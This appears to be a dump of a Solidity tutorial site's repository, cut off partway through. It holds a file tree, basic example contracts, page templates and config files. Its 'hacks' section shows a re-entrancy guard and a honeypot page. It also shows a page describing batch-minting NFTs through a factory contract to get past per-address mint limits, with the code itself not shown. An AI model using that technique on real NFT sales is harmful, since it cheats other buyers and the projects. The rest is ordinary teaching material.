├── .gitattributes ├── src ├── react-app-env.d.ts ├── components │ ├── sce.png │ ├── logo.png │ ├── discord.png │ ├── telegram.png │ ├── youtube.png │ ├── logo-dark.png │ ├── mode-dark.png │ ├── mode-light.png │ ├── Example.module.css │ ├── SEO.tsx │ ├── Header.module.css │ ├── Footer.module.css │ ├── mode-light.svg │ ├── mode-dark.svg │ ├── Example.tsx │ ├── Header.tsx │ ├── logo.svg │ └── logo-dark.svg ├── pages │ ├── structs │ │ ├── StructDeclaration.sol │ │ ├── StructImport.sol │ │ ├── index.tsx │ │ ├── index.md │ │ └── Structs.sol │ ├── enum │ │ ├── EnumImport.sol │ │ ├── EnumDeclaration.sol │ │ ├── index.md │ │ ├── index.tsx │ │ └── Enum.sol │ ├── hacks │ │ ├── NFT-multi-mint │ │ │ ├── index.md │ │ │ ├── index.tsx │ │ │ └── NFTMultiMint.sol │ │ ├── re-entrancy │ │ │ ├── ReEntrancyGuard.sol │ │ │ ├── index.md │ │ │ └── index.tsx │ │ ├── honeypot │ │ │ ├── index.md │ │ │ └── index.tsx │ │ ├── randomness │ │ │ ├── index.md │ │ │ ├── index.tsx │ │ │ └── Randomness.sol │ │ ├── contract-size │ │ │ ├── index.md │ │ │ ├── index.tsx │ │ │ └── ContractSize.sol │ │ ├── accessing-private-data │ │ │ ├── index.md │ │ │ └── index.tsx │ │ ├── block-timestamp-manipulation │ │ │ ├── index.md │ │ │ ├── index.tsx │ │ │ └── BlockTimestamp.sol │ │ ├── front-running │ │ │ ├── index.md │ │ │ ├── index.tsx │ │ │ └── FrontRunning.sol │ │ ├── overflow │ │ │ ├── index.tsx │ │ │ └── index.md │ │ ├── delegatecall │ │ │ ├── index.tsx │ │ │ ├── index.md │ │ │ └── Delegatecall_1.sol │ │ ├── self-destruct │ │ │ ├── index.tsx │ │ │ ├── index.md │ │ │ ├── PreventForceEther.sol │ │ │ └── ForceEther.sol │ │ ├── denial-of-service │ │ │ ├── index.md │ │ │ ├── index.tsx │ │ │ └── PreventDenialOfService.sol │ │ ├── signature-replay │ │ │ ├── index.tsx │ │ │ ├── index.md │ │ │ └── SigReplay.sol │ │ ├── phishing-with-tx-origin │ │ │ ├── index.tsx │ │ │ ├── index.md │ │ │ └── TxOrigin.sol │ │ └── hiding-malicious-code-with-external-contract │ │ │ ├── index.tsx │ │ │ ├── index.md │ │ │ └── ExternalContract.sol │ ├── app │ │ ├── erc721 │ │ │ ├── index.md │ │ │ └── index.tsx │ │ ├── ether-wallet │ │ │ ├── index.md │ │ │ ├── EtherWallet.sol │ │ │ └── index.tsx │ │ ├── iterable-mapping │ │ │ ├── index.md │ │ │ └── index.tsx │ │ ├── create2 │ │ │ ├── index.md │ │ │ └── index.tsx │ │ ├── merkle-tree │ │ │ ├── index.md │ │ │ └── index.tsx │ │ ├── minimal-proxy │ │ │ ├── index.md │ │ │ └── index.tsx │ │ ├── multi-delegatecall │ │ │ ├── index.md │ │ │ └── index.tsx │ │ ├── upgradeable-proxy │ │ │ ├── index.md │ │ │ └── index.tsx │ │ ├── deploy-any-contract │ │ │ ├── index.md │ │ │ └── index.tsx │ │ ├── multi-call │ │ │ ├── TestMultiCall.sol │ │ │ ├── index.md │ │ │ ├── index.tsx │ │ │ └── MultiCall.sol │ │ ├── multi-sig-wallet │ │ │ ├── TestContract.sol │ │ │ ├── index.md │ │ │ └── index.tsx │ │ ├── write-to-any-slot │ │ │ ├── index.md │ │ │ ├── index.tsx │ │ │ └── Slot.sol │ │ ├── bi-directional-payment-channel │ │ │ ├── index.md │ │ │ └── index.tsx │ │ ├── crowd-fund │ │ │ ├── index.md │ │ │ └── index.tsx │ │ ├── erc20 │ │ │ ├── MyToken.sol │ │ │ ├── index.tsx │ │ │ ├── IERC20.sol │ │ │ ├── index.md │ │ │ └── ERC20.sol │ │ ├── dutch-auction │ │ │ ├── index.md │ │ │ └── index.tsx │ │ ├── english-auction │ │ │ ├── index.md │ │ │ └── index.tsx │ │ └── uni-directional-payment-channel │ │ │ ├── index.tsx │ │ │ └── index.md │ ├── defi │ │ ├── constant-product-amm │ │ │ ├── index.md │ │ │ └── index.tsx │ │ ├── chainlink-price-oracle │ │ │ ├── index.md │ │ │ ├── index.tsx │ │ │ └── Chainlink.sol │ │ ├── constant-sum-amm │ │ │ ├── index.md │ │ │ └── index.tsx │ │ ├── uniswap-v2-add-remove-liquidity │ │ │ ├── index.md │ │ │ └── index.tsx │ │ ├── uniswap-v2-optimal-one-sided-supply │ │ │ ├── index.md │ │ │ └── index.tsx │ │ ├── uniswap-v2 │ │ │ ├── index.md │ │ │ └── index.tsx │ │ └── staking-rewards │ │ │ ├── index.md │ │ │ └── index.tsx │ ├── hello-world │ │ ├── index.md │ │ ├── HelloWorld.sol │ │ ├── index.tsx │ │ └── index.html.ts │ ├── if-else │ │ ├── index.md │ │ ├── IfElse.sol │ │ └── index.tsx │ ├── abi-decode │ │ ├── index.md │ │ ├── index.tsx │ │ └── AbiDecode.sol │ ├── try-catch │ │ ├── index.md │ │ └── index.tsx │ ├── payable │ │ ├── index.md │ │ ├── index.tsx │ │ └── Payable.sol │ ├── constants │ │ ├── index.md │ │ ├── Constants.sol │ │ ├── index.tsx │ │ └── index.html.ts │ ├── first-app │ │ ├── index.md │ │ ├── Counter.sol │ │ └── index.tsx │ ├── signature │ │ ├── index.md │ │ └── index.tsx │ ├── immutable │ │ ├── index.md │ │ ├── Immutable.sol │ │ ├── index.tsx │ │ └── index.html.ts │ ├── primitives │ │ ├── index.md │ │ ├── index.tsx │ │ └── Primitives.sol │ ├── function │ │ ├── index.md │ │ └── index.tsx │ ├── ether-units │ │ ├── index.md │ │ ├── EtherUnits.sol │ │ └── index.tsx │ ├── import │ │ ├── Foo.sol │ │ ├── Import.sol │ │ ├── index.tsx │ │ └── index.md │ ├── events │ │ ├── index.md │ │ ├── Events.sol │ │ └── index.tsx │ ├── super │ │ ├── index.md │ │ ├── index.tsx │ │ └── Super.sol │ ├── constructor │ ├── state-variables │ │ ├── index.md │ │ ├── SimpleStorage.sol │ │ └── index.tsx │ ├── new-contract │ │ ├── index.md │ │ ├── index.tsx │ │ └── NewContract.sol │ ├── delegatecall │ │ ├── index.md │ │ ├── index.tsx │ │ └── Delegatecall.sol │ ├── function-modifier │ │ ├── index.md │ │ ├── index.tsx │ │ └── FunctionModifier.sol │ ├── shadowing-inherited-state-variables │ │ ├── index.md │ │ ├── index.tsx │ │ └── Shadow.sol │ ├── function-selector │ │ ├── FunctionSelector.sol │ │ ├── index.tsx │ │ └── index.md │ ├── loop │ │ ├── index.md │ │ ├── Loop.sol │ │ └── index.tsx │ ├── view-and-pure-functions │ │ ├── index.md │ │ ├── ViewAndPureFunctions.sol │ │ └── index.tsx │ ├── mapping │ │ ├── index.md │ │ ├── index.tsx │ │ └── Mapping.sol │ ├── call │ │ ├── index.md │ │ ├── index.tsx │ │ └── Call.sol │ ├── hashing │ │ ├── index.md │ │ ├── index.tsx │ │ └── Keccak256.sol │ ├── variables │ │ ├── index.md │ │ ├── Variables.sol │ │ └── index.tsx │ ├── calling-contract │ │ ├── index.md │ │ ├── index.tsx │ │ └── CallingContract.sol │ ├── interface │ │ ├── index.md │ │ ├── index.tsx │ │ └── Interface.sol │ ├── library │ │ ├── index.md │ │ └── index.tsx │ ├── gas │ │ ├── Gas.sol │ │ ├── index.tsx │ │ └── index.md │ ├── fallback │ │ ├── index.md │ │ ├── index.tsx │ │ └── Fallback.sol │ ├── array │ │ ├── index.md │ │ ├── index.tsx │ │ ├── ArrayReplaceFromEnd.sol │ │ ├── ArrayRemoveByShifting.sol │ │ └── Array.sol │ ├── data-locations │ │ ├── index.md │ │ ├── index.tsx │ │ └── DataLocations.sol │ ├── inheritance │ │ ├── index.md │ │ ├── index.tsx │ │ └── Inheritance.sol │ ├── error │ │ ├── index.tsx │ │ ├── index.md │ │ ├── Account.sol │ │ └── Error.sol │ ├── visibility │ │ ├── index.tsx │ │ └── index.md │ ├── sending-ether │ │ ├── index.tsx │ │ ├── index.md │ │ └── SendingEther.sol │ ├── tests │ │ └── echidna │ │ │ ├── index.tsx │ │ │ ├── index.md │ │ │ └── TestEchidna.sol │ └── index.module.css ├── App.module.css ├── index.tsx └── App.tsx ├── public ├── favicon.ico └── manifest.json ├── scripts ├── template │ ├── index.html.ts.mustache │ ├── routes.tsx.mustache │ └── index.tsx.mustache └── lib.ts ├── manifest.json ├── .prettierrc ├── .github └── workflows │ └── integrate.yml ├── .gitignore ├── tsconfig.json ├── README.md ├── LICENSE └── package.json /.gitattributes: -------------------------------------------------------------------------------- 1 | *.sol linguist-language=Solidity 2 | -------------------------------------------------------------------------------- /src/react-app-env.d.ts: -------------------------------------------------------------------------------- 1 | /// 2 | -------------------------------------------------------------------------------- /public/favicon.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Web3DAO-CN/solidity-example/HEAD/public/favicon.ico -------------------------------------------------------------------------------- /src/components/sce.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Web3DAO-CN/solidity-example/HEAD/src/components/sce.png -------------------------------------------------------------------------------- /src/components/logo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Web3DAO-CN/solidity-example/HEAD/src/components/logo.png -------------------------------------------------------------------------------- /src/components/discord.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Web3DAO-CN/solidity-example/HEAD/src/components/discord.png -------------------------------------------------------------------------------- /src/components/telegram.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Web3DAO-CN/solidity-example/HEAD/src/components/telegram.png -------------------------------------------------------------------------------- /src/components/youtube.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Web3DAO-CN/solidity-example/HEAD/src/components/youtube.png -------------------------------------------------------------------------------- /src/components/logo-dark.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Web3DAO-CN/solidity-example/HEAD/src/components/logo-dark.png -------------------------------------------------------------------------------- /src/components/mode-dark.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Web3DAO-CN/solidity-example/HEAD/src/components/mode-dark.png -------------------------------------------------------------------------------- /src/components/mode-light.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Web3DAO-CN/solidity-example/HEAD/src/components/mode-light.png -------------------------------------------------------------------------------- /src/pages/structs/StructDeclaration.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.10; 3 | 4 | struct Todo { 5 | string text; 6 | bool completed; 7 | } 8 | -------------------------------------------------------------------------------- /src/pages/enum/EnumImport.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.10; 3 | 4 | import "./EnumDeclaration.sol"; 5 | 6 | contract Enum { 7 | Status public status; 8 | } 9 | -------------------------------------------------------------------------------- /src/pages/hacks/NFT-multi-mint/index.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: 科学家NFT批量抢购 3 | version: 0.8.10 4 | description: 通过工厂合约部署抢购合约批量铸造nft突破限制 5 | --- 6 | 7 | ### 科学家 NFT 批量抢购 8 | 9 | ```solidity 10 | {{{NFTMultiMint}}} 11 | ``` 12 | -------------------------------------------------------------------------------- /src/pages/app/erc721/index.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: ERC721 3 | version: 0.8.10 4 | description: Example of ERC721 non fungible token in Solidity 5 | --- 6 | 7 | Example of ERC721 8 | 9 | ```solidity 10 | {{{ERC721}}} 11 | ``` 12 | -------------------------------------------------------------------------------- /src/pages/defi/constant-product-amm/index.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: Constant Product AMM 3 | version: 0.8.10 4 | description: Constant product AMM 5 | --- 6 | 7 | Constant product AMM `XY = K` 8 | 9 | ```solidity 10 | {{{CPAMM}}} 11 | ``` 12 | -------------------------------------------------------------------------------- /scripts/template/index.html.ts.mustache: -------------------------------------------------------------------------------- 1 | // metadata 2 | export const version = "{{{version}}}" 3 | export const title = "{{{title}}}" 4 | export const description = "{{{description}}}" 5 | 6 | const html = `{{{html}}}` 7 | 8 | export default html 9 | -------------------------------------------------------------------------------- /src/pages/defi/chainlink-price-oracle/index.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: Chainlink Price Oracle 3 | version: 0.8.10 4 | description: Chainlink Price Oracle 5 | --- 6 | 7 | ### ETH / USD Price Oracle 8 | 9 | ```solidity 10 | {{{Chainlink}}} 11 | ``` 12 | -------------------------------------------------------------------------------- /src/pages/structs/StructImport.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.10; 3 | 4 | import "./StructDeclaration.sol"; 5 | 6 | contract Todos { 7 | // An array of 'Todo' structs 8 | Todo[] public todos; 9 | } 10 | -------------------------------------------------------------------------------- /src/pages/hello-world/index.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: Hello World 3 | version: 0.8.10 4 | description: Hello world in Solidity 5 | --- 6 | 7 | `pragma` specifies the compiler version of Solidity. 8 | 9 | ```solidity 10 | {{{HelloWorld}}} 11 | ``` 12 | -------------------------------------------------------------------------------- /src/pages/hello-world/HelloWorld.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | // compiler version must be greater than or equal to 0.8.10 and less than 0.9.0 3 | pragma solidity ^0.8.10; 4 | 5 | contract HelloWorld { 6 | string public greet = "Hello World!"; 7 | } 8 | -------------------------------------------------------------------------------- /src/pages/defi/constant-sum-amm/index.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: Constant Sum AMM 3 | version: 0.8.10 4 | description: Constant sum AMM 5 | --- 6 | 7 | Constant sum AMM `X + Y = K` 8 | 9 | Tokens trade one to one. 10 | 11 | ```solidity 12 | {{{CSAMM}}} 13 | ``` 14 | -------------------------------------------------------------------------------- /src/pages/enum/EnumDeclaration.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.10; 3 | // This is saved 'EnumDeclaration.sol' 4 | 5 | enum Status { 6 | Pending, 7 | Shipped, 8 | Accepted, 9 | Rejected, 10 | Canceled 11 | } 12 | -------------------------------------------------------------------------------- /src/pages/defi/uniswap-v2-add-remove-liquidity/index.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: Uniswap V2 Add Remove Liquidity 3 | version: 0.8.10 4 | description: Uniswap V2 add remove liquidity 5 | --- 6 | 7 | ### Add / Remove Liquidity 8 | 9 | ```solidity 10 | {{{Liquidity}}} 11 | ``` 12 | -------------------------------------------------------------------------------- /src/pages/if-else/index.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: If / Else 3 | version: 0.8.10 4 | description: If / Else conditional statement in Solidity 5 | --- 6 | 7 | Solidity supports conditional statements `if`, `else if` and `else`. 8 | 9 | ```solidity 10 | {{{IfElse}}} 11 | ``` 12 | -------------------------------------------------------------------------------- /src/pages/abi-decode/index.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: ABI Decode 3 | version: 0.8.10 4 | description: ABI decode bytes 5 | --- 6 | 7 | `abi.encode` encodes data into `bytes`. 8 | 9 | `abi.decode` decodes `bytes` back into data. 10 | 11 | ```solidity 12 | {{{AbiDecode}}} 13 | ``` 14 | -------------------------------------------------------------------------------- /src/pages/defi/uniswap-v2-optimal-one-sided-supply/index.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: Uniswap V2 Optimal One Sided Supply 3 | version: 0.8.10 4 | description: Uniswap V2 Optimal One Sided Supply 5 | --- 6 | 7 | ### Optimal One Sided Supply 8 | 9 | ```solidity 10 | {{{Optimal}}} 11 | ``` 12 | -------------------------------------------------------------------------------- /src/pages/defi/uniswap-v2/index.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: Uniswap V2 Swap 3 | version: 0.8.10 4 | description: Uniswap V2 swap 5 | --- 6 | 7 | ### Swap 8 | 9 | Swaps an exact amount of input tokens for as many output tokens as possible. 10 | 11 | ```solidity 12 | {{{Swap}}} 13 | ``` 14 | -------------------------------------------------------------------------------- /src/pages/try-catch/index.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: Try Catch 3 | version: 0.8.10 4 | description: An example of try / catch in Solidity 5 | --- 6 | 7 | `try / catch` can only catch errors from external function calls and contract creation. 8 | 9 | ```solidity 10 | {{{TryCatch}}} 11 | ``` 12 | -------------------------------------------------------------------------------- /src/pages/payable/index.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: Payable 3 | version: 0.8.10 4 | description: An example of how to use the keyword payable in Solidity 5 | --- 6 | 7 | Functions and addresses declared `payable` can receive `ether` into the contract. 8 | 9 | ```solidity 10 | {{{Payable}}} 11 | ``` 12 | -------------------------------------------------------------------------------- /src/pages/constants/index.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: Constants 3 | version: 0.8.10 4 | description: Constant variables 5 | --- 6 | 7 | Constants are variables that cannot be modified. 8 | 9 | Their value is hard coded and using constants can save gas cost. 10 | 11 | ```solidity 12 | {{{Constants}}} 13 | ``` 14 | -------------------------------------------------------------------------------- /src/pages/first-app/index.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: First Application 3 | version: 0.8.10 4 | description: Example of smart contract in Solidity 5 | --- 6 | 7 | Here is a simple contract that you can get, increment and decrement the count store in this contract. 8 | 9 | ```solidity 10 | {{{Counter}}} 11 | ``` 12 | -------------------------------------------------------------------------------- /src/pages/signature/index.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: Verifying Signature 3 | version: 0.8.10 4 | description: An example of how to verify signatures in Solidity 5 | --- 6 | 7 | Messages can be signed off chain and then verified on chain using a smart contract. 8 | 9 | ```solidity 10 | {{{Signature}}} 11 | ``` 12 | -------------------------------------------------------------------------------- /src/pages/app/ether-wallet/index.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: Ether Wallet 3 | version: 0.8.10 4 | description: Simple example of wallet in Solidity 5 | --- 6 | 7 | An example of a basic wallet. 8 | 9 | - Anyone can send ETH. 10 | - Only the owner can withdraw. 11 | 12 | ```solidity 13 | {{{EtherWallet}}} 14 | ``` 15 | -------------------------------------------------------------------------------- /src/pages/app/iterable-mapping/index.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: Iterable Mapping 3 | version: 0.8.10 4 | description: Iterable Mapping in Solidity 5 | --- 6 | 7 | You cannot iterate through a `mapping`. So here is an example of how to create an iterable `mapping`. 8 | 9 | ```solidity 10 | {{{IterableMapping}}} 11 | ``` 12 | -------------------------------------------------------------------------------- /src/pages/constants/Constants.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.10; 3 | 4 | contract Constants { 5 | // coding convention to uppercase constant variables 6 | address public constant MY_ADDRESS = 0x777788889999AaAAbBbbCcccddDdeeeEfFFfCcCc; 7 | uint public constant MY_UINT = 123; 8 | } 9 | -------------------------------------------------------------------------------- /src/pages/app/create2/index.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: Precompute Contract Address with Create2 3 | version: 0.8.10 4 | description: Precompute contract address with create2 5 | --- 6 | 7 | Contract address can be precomputed, before the contract is deployed, using `create2` 8 | 9 | ```solidity 10 | {{{Create2}}} 11 | ``` 12 | -------------------------------------------------------------------------------- /src/pages/immutable/index.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: Immutable 3 | version: 0.8.10 4 | description: Immutable variables 5 | --- 6 | 7 | Immutable variables are like constants. Values of immutable variables can be set inside the constructor but cannot be modified afterwards. 8 | 9 | ```solidity 10 | {{{Immutable}}} 11 | ``` 12 | -------------------------------------------------------------------------------- /src/pages/primitives/index.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: Primitive Data Types 3 | version: 0.8.10 4 | description: Primitive data types 5 | --- 6 | 7 | Here we introduce you to some primitive data types available in Solidity. 8 | 9 | - `boolean` 10 | - `uint` 11 | - `int` 12 | - `address` 13 | 14 | ```solidity 15 | {{{Primitives}}} 16 | ``` 17 | -------------------------------------------------------------------------------- /src/pages/app/merkle-tree/index.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: Merkle Tree 3 | version: 0.8.10 4 | description: Learn about Merkle tree in Solidity 5 | --- 6 | 7 | Merkle tree allows you to cryptographically prove that an element is contained 8 | 9 | in a set without revealing the entire set. 10 | 11 | ```solidity 12 | {{{MerkleTree}}} 13 | ``` 14 | -------------------------------------------------------------------------------- /src/pages/function/index.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: Function 3 | version: 0.8.10 4 | description: Example of how to write functions in Solidity 5 | --- 6 | 7 | There are several ways to return outputs from a function. 8 | 9 | Public functions cannot accept certain data types as inputs or outputs 10 | 11 | ```solidity 12 | {{{Function}}} 13 | ``` 14 | -------------------------------------------------------------------------------- /src/components/Example.module.css: -------------------------------------------------------------------------------- 1 | .component { 2 | /* NOTE -20px from .main in App.module.css */ 3 | width: min(100vw - 20px, 1000px); 4 | } 5 | .content { 6 | margin-top: 15px; 7 | margin-bottom: 15px; 8 | } 9 | .prevNext { 10 | margin: 20px; 11 | display: flex; 12 | flex-direction: row; 13 | justify-content: space-between; 14 | } 15 | -------------------------------------------------------------------------------- /src/pages/app/minimal-proxy/index.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: Minimal Proxy Contract 3 | version: 0.8.10 4 | description: Deploy contracts cheaply with minimal proxy contract 5 | --- 6 | 7 | If you have a contract that will be deployed multiple times, use minimal proxy contract to deploy them cheaply. 8 | 9 | ```solidity 10 | {{{MinimalProxy}}} 11 | ``` 12 | -------------------------------------------------------------------------------- /src/pages/ether-units/index.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: Ether and Wei 3 | version: 0.8.10 4 | description: An example of Ether and Wei in Solidity 5 | --- 6 | 7 | Transactions are paid with `ether`. 8 | 9 | Similar to how one dollar is equal to 100 cent, one `ether` is equal to 1018 `wei`. 10 | 11 | ```solidity 12 | {{{EtherUnits}}} 13 | ``` 14 | -------------------------------------------------------------------------------- /src/pages/app/multi-delegatecall/index.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: Multi Delegatecall 3 | version: 0.8.10 4 | description: An example of contract to call multiple functions in a single transaction 5 | --- 6 | 7 | An example of calling multiple functions with a single transaction, using `delegatecall`. 8 | 9 | ```solidity 10 | {{{MultiDelegatecall}}} 11 | ``` 12 | -------------------------------------------------------------------------------- /src/pages/hacks/re-entrancy/ReEntrancyGuard.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.10; 3 | 4 | contract ReEntrancyGuard { 5 | bool internal locked; 6 | 7 | modifier noReentrant() { 8 | require(!locked, "No re-entrancy"); 9 | locked = true; 10 | _; 11 | locked = false; 12 | } 13 | } 14 | -------------------------------------------------------------------------------- /src/pages/import/Foo.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.10; 3 | 4 | struct Point { 5 | uint x; 6 | uint y; 7 | } 8 | 9 | error Unauthorized(address caller); 10 | 11 | function add(uint x, uint y) pure returns (uint) { 12 | return x + y; 13 | } 14 | 15 | contract Foo { 16 | string public name = "Foo"; 17 | } 18 | -------------------------------------------------------------------------------- /src/pages/events/index.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: Events 3 | version: 0.8.10 4 | description: Example of how to emit events in Solidity 5 | --- 6 | 7 | `Events` allow logging to the Ethereum blockchain. Some use cases for events are: 8 | 9 | - Listening for events and updating user interface 10 | - A cheap form of storage 11 | 12 | ```solidity 13 | {{{Events}}} 14 | ``` 15 | -------------------------------------------------------------------------------- /manifest.json: -------------------------------------------------------------------------------- 1 | { 2 | "short_name": "React App", 3 | "name": "Create React App Sample", 4 | "icons": [ 5 | { 6 | "src": "favicon.ico", 7 | "sizes": "64x64 32x32 24x24 16x16", 8 | "type": "image/x-icon" 9 | } 10 | ], 11 | "start_url": ".", 12 | "display": "standalone", 13 | "theme_color": "#000000", 14 | "background_color": "#ffffff" 15 | } 16 | -------------------------------------------------------------------------------- /src/pages/app/upgradeable-proxy/index.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: Upgradeable Proxy 3 | version: 0.8.10 4 | description: Example of upgradeable proxy 5 | --- 6 | 7 | Example of upgradeable proxy contract. Never use this in production. 8 | 9 | This example shows how to use `delegatecall` and return data when `fallback` is called. 10 | 11 | ```solidity 12 | {{{UpgradeableProxy}}} 13 | ``` 14 | -------------------------------------------------------------------------------- /src/pages/ether-units/EtherUnits.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.10; 3 | 4 | contract EtherUnits { 5 | uint public oneWei = 1 wei; 6 | // 1 wei is equal to 1 7 | bool public isOneWei = 1 wei == 1; 8 | 9 | uint public oneEther = 1 ether; 10 | // 1 ether is equal to 10^18 wei 11 | bool public isOneEther = 1 ether == 1e18; 12 | } 13 | -------------------------------------------------------------------------------- /public/manifest.json: -------------------------------------------------------------------------------- 1 | { 2 | "short_name": "React App", 3 | "name": "Create React App Sample", 4 | "icons": [ 5 | { 6 | "src": "favicon.ico", 7 | "sizes": "64x64 32x32 24x24 16x16", 8 | "type": "image/x-icon" 9 | } 10 | ], 11 | "start_url": ".", 12 | "display": "standalone", 13 | "theme_color": "#000000", 14 | "background_color": "#ffffff" 15 | } 16 | -------------------------------------------------------------------------------- /src/pages/app/deploy-any-contract/index.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: Deploy Any Contract 3 | version: 0.8.10 4 | description: Deploy Any Contract 5 | --- 6 | 7 | Deploy any contract by calling `Proxy.deploy(bytes memory _code)` 8 | 9 | For this example, you can get the contract bytecodes by calling `Helper.getBytecode1` and `Helper.getBytecode2` 10 | 11 | ```solidity 12 | {{{Proxy}}} 13 | ``` 14 | -------------------------------------------------------------------------------- /src/pages/super/index.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: Calling Parent Contracts 3 | version: 0.8.10 4 | description: An example of calling parent contracts in Solidity 5 | --- 6 | 7 | Parent contracts can be called directly, or by using the keyword `super`. 8 | 9 | By using the keyword `super`, all of the immediate parent contracts will be called. 10 | 11 | ```solidity 12 | {{{Super}}} 13 | ``` 14 | -------------------------------------------------------------------------------- /src/pages/constructor/index.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: Constructor 3 | version: 0.8.10 4 | description: Learn how to initialize smart contracts in Solidity using a constructor 5 | --- 6 | 7 | A `constructor` is an optional function that is executed upon contract creation. 8 | 9 | Here are examples of how to pass arguments to `constructors`. 10 | 11 | ```solidity 12 | {{{Constructor}}} 13 | ``` 14 | -------------------------------------------------------------------------------- /src/pages/app/multi-call/TestMultiCall.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.10; 3 | 4 | contract TestMultiCall { 5 | function test(uint _i) external pure returns (uint) { 6 | return _i; 7 | } 8 | 9 | function getData(uint _i) external pure returns (bytes memory) { 10 | return abi.encodeWithSelector(this.test.selector, _i); 11 | } 12 | } 13 | -------------------------------------------------------------------------------- /src/pages/app/multi-sig-wallet/TestContract.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.10; 3 | 4 | contract TestContract { 5 | uint public i; 6 | 7 | function callMe(uint j) public { 8 | i += j; 9 | } 10 | 11 | function getData() public pure returns (bytes memory) { 12 | return abi.encodeWithSignature("callMe(uint256)", 123); 13 | } 14 | } 15 | -------------------------------------------------------------------------------- /src/pages/immutable/Immutable.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.10; 3 | 4 | contract Immutable { 5 | // coding convention to uppercase constant variables 6 | address public immutable MY_ADDRESS; 7 | uint public immutable MY_UINT; 8 | 9 | constructor(uint _myUint) { 10 | MY_ADDRESS = msg.sender; 11 | MY_UINT = _myUint; 12 | } 13 | } 14 | -------------------------------------------------------------------------------- /.prettierrc: -------------------------------------------------------------------------------- 1 | { 2 | "semi": false, 3 | "tabWidth": 2, 4 | "printWidth": 88, 5 | "overrides": [ 6 | { 7 | "files": "*.sol", 8 | "options": { 9 | "printWidth": 88, 10 | "tabWidth": 4, 11 | "useTabs": false, 12 | "singleQuote": false, 13 | "bracketSpacing": false, 14 | "explicitTypes": "never" 15 | } 16 | } 17 | ] 18 | } 19 | -------------------------------------------------------------------------------- /src/pages/app/multi-call/index.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: Multi Call 3 | version: 0.8.10 4 | description: An example of contract to aggregate multiple calls. 5 | --- 6 | 7 | An example of contract that aggregates multiple queries using a for loop and `staticcall`. 8 | 9 | ```solidity 10 | {{{MultiCall}}} 11 | ``` 12 | 13 | Contract to test `MultiCall` 14 | 15 | ```solidity 16 | {{{TestMultiCall}}} 17 | ``` 18 | -------------------------------------------------------------------------------- /src/pages/hacks/honeypot/index.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: Honeypot 3 | version: 0.8.10 4 | description: An example of honeypot in Solidity 5 | --- 6 | 7 | A honeypot is a trap to catch hackers. 8 | 9 | ### Vulnerability 10 | 11 | Combining two exploits, reentrancy and hiding malicious code, we can build a contract 12 | 13 | that will catch malicious users. 14 | 15 | ```solidity 16 | {{{HoneyPot}}} 17 | ``` 18 | -------------------------------------------------------------------------------- /src/pages/state-variables/index.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: Reading and Writing to a State Variable 3 | version: 0.8.10 4 | description: Reading and Writing to a State Variable 5 | --- 6 | 7 | To write or update a state variable you need to send a transaction. 8 | 9 | On the other hand, you can read state variables, for free, without any transaction fee. 10 | 11 | ```solidity 12 | {{{SimpleStorage}}} 13 | ``` 14 | -------------------------------------------------------------------------------- /src/pages/new-contract/index.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: Contract that Creates other Contracts 3 | 